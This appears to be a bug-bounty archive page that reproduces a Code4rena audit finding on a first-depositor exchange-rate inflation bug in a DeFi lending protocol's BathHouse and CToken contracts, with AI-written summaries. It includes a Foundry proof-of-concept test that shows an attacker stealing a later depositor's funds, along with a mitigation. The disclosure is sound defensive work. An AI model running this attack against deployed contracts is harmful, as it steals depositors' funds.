The CToken implementation has a first depositor bug where an attacker can inflate the exchange rate by directly transferring underlying tokens, causing subsequent depositors to receive fewer shares. This allows the attacker to steal funds from depositing users and, because only one market per underlying can be created, bricks the BathHouse.
The CToken implementation has the well-known first depositor bug that allows an attacker to manipulate the exchange rate of a CToken, allowing them to steal funds from depositing users.
Furthermore, due to the way the current BathHouse is implemented, not allowing an admin to create multiple markets for one underlying (see below code snippet), the entire BathHouse will be bricked as soon as any CToken market is attacked.
function createBathToken(
address underlying,
InterestRateModel interestRateModel,
uint256 initialExchangeRateMantissa,
address implementation,
bytes memory becomeImplementationData
) external onlyAdmin {
// underlying can be used only for one bathToken
require(
tokenToBathToken[underlying] == address(0),
"createBathToken: BATHTOKEN WITH THIS ERC20 EXIST ALDREADY"
);
// ...
}
The first-deposit front-running attack
An attack can happen as follow:
A CToken contract is created. The CToken total supply is ‘0’, and no deposits have been made.
Alice the attacker mints a single CToken using her own funds.
Alice directly does a ERC20 transfer of the underlying to the CToken contract itself, inflating the exchange rate of the CToken.
Bob the user deposits some amount of underlying to mint CTokens.
Bob receives much less CTokens than he should have, due to exchange rate being inflated.
Alice now has a much larger share of the pool than what she should have gotten.
Since it is intended that the BathTokens are created by an admin through the contract BathHouseV2.sol by calling createBathToken(), an adversary can perform the front-running attack as soon as a BathToken is deployed.
It has been shown in the above section that a new market cannot be created on the same underlying, if such an attack were to happen.
There are several impacts that such an attack can have:
Direct theft of users’ deposits.
Direct theft of migrated V2 funds, if the user uses a V2Migrator set with a manipulated market.
Redeployment of BathHouse by creating unrecoverable scenarios.
Preventing the protocol from launching new markets, as any newly launched market can be sniped to attack.
We believe this is high risk, as this will result in possible fund loss, will brick the deployed BathHouse contract, as well as loss of safety in supporting new assets.
Proof of concept
Use the following test case on ProtocolDeployment.t.sol for a demonstration of the front-running attack.
function test_bug_firstDepositAttack() public {
address alice = address(0xA11CE);
address bob = address(0xB0B);
// deal out tokens first
vm.startPrank(TEST.admin());
TEST.adminMint();
TEST.transfer(alice, 200e18);
TEST.transfer(bob, 100e18);
vm.stopPrank();
// initial config
assertEq(bathTEST.exchangeRateStored(), 2e26);
assertEq(bathTEST.totalSupply(), 0);
assertEq(bathTEST.balanceOf(alice), 0);
// mint tokens
vm.prank(alice);
TEST.approve(address(bathTEST), type(uint256).max);
vm.prank(alice);
bathTEST.mint(2e8);
assertEq(bathTEST.balanceOf(alice), 1);
assertEq(bathTEST.totalSupply(), 1);
// alice front-running attack
vm.prank(alice);
TEST.transfer(address(bathTEST), 100e18);
assertEq(bathTEST.getCash(), 100e18 + 2e8);
// bob now deposits
vm.prank(bob);
TEST.approve(address(bathTEST), type(uint256).max);
vm.prank(bob);
bathTEST.mint(100e18);
assertEq(bathTEST.balanceOf(bob), 0); // attacked! bob should've gotten some bathTokens
assertEq(bathTEST.totalSupply(), 1);
// alice redeems and gets everything
vm.prank(alice);
bathTEST.redeem(1);
assertEq(TEST.balanceOf(alice), 300e18); // alice stole 100e18 from Bob
assertEq(bathTEST.totalSupply(), 0);
}
Recommended mitigation steps
The attack can happen when the CToken total supply is ‘0’ or very low. The fix is to force-mint a minimum amount of CTokens that cannot be burned to either governance/admin, address(0), or perform such when the first mint happens.
A fix is demonstrated below, on the function mintFresh in contract CToken. This is also how Uniswap V2 prevents the same attack.
As shown on this function, only one BathToken can be created per ERC20 token. Thus, the impact of this attack is not only a redeployment, but it also directly affects in-scope contracts by bricking said market, since the market actually cannot be redeployed.
Therefore the bug directly affects in-scope contracts, and can be seen as erroneous integration of code forks.
This is also mentioned in the #143 report. I believe none of the other reports mentioned this.
Report was initially redacted, added in the content.
One detail that all other dups failed to mention was the bricking of re-creation of markets with the same underlying (other than from lost assets), which was what brought this bug in-scope. It is of course possible to do an entire re-deployment, but that would require re-deployments of all existing prior markets as well.
The original report as published on Code4rena, by thekmj. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 40 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the exchange rate calculation in CToken allows manipulation when total supply is zero or very low, because the first depositor can inflate the rate by direct token transfer.
Impact
An attacker could steal users' deposits and brick the BathHouse, preventing new markets for the same underlying.
What the attacker needed
Attacker can mint first; Attacker has underlying tokens; Victim deposits after attack
The fix
The fix is to force-mint a minimum amount of CTokens that cannot be burned, either to governance/admin or address(0), when the first mint happens.
How it was found
A CToken contract is created with zero total supply.
Alice mints a single CToken using her own funds.
Alice directly transfers underlying tokens to the CToken contract, inflating the exchange rate.
Bob deposits underlying tokens and receives fewer CTokens than expected.
Alice redeems her single CToken and receives a disproportionate share, stealing Bob's deposit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 40 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
When a new lending market starts, the first person to deposit can manipulate the price of shares by sending extra tokens directly to the contract. Later depositors then get fewer shares than they should, and the attacker can withdraw more than they put in, stealing the difference. This is a known issue in Compound-like contracts.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.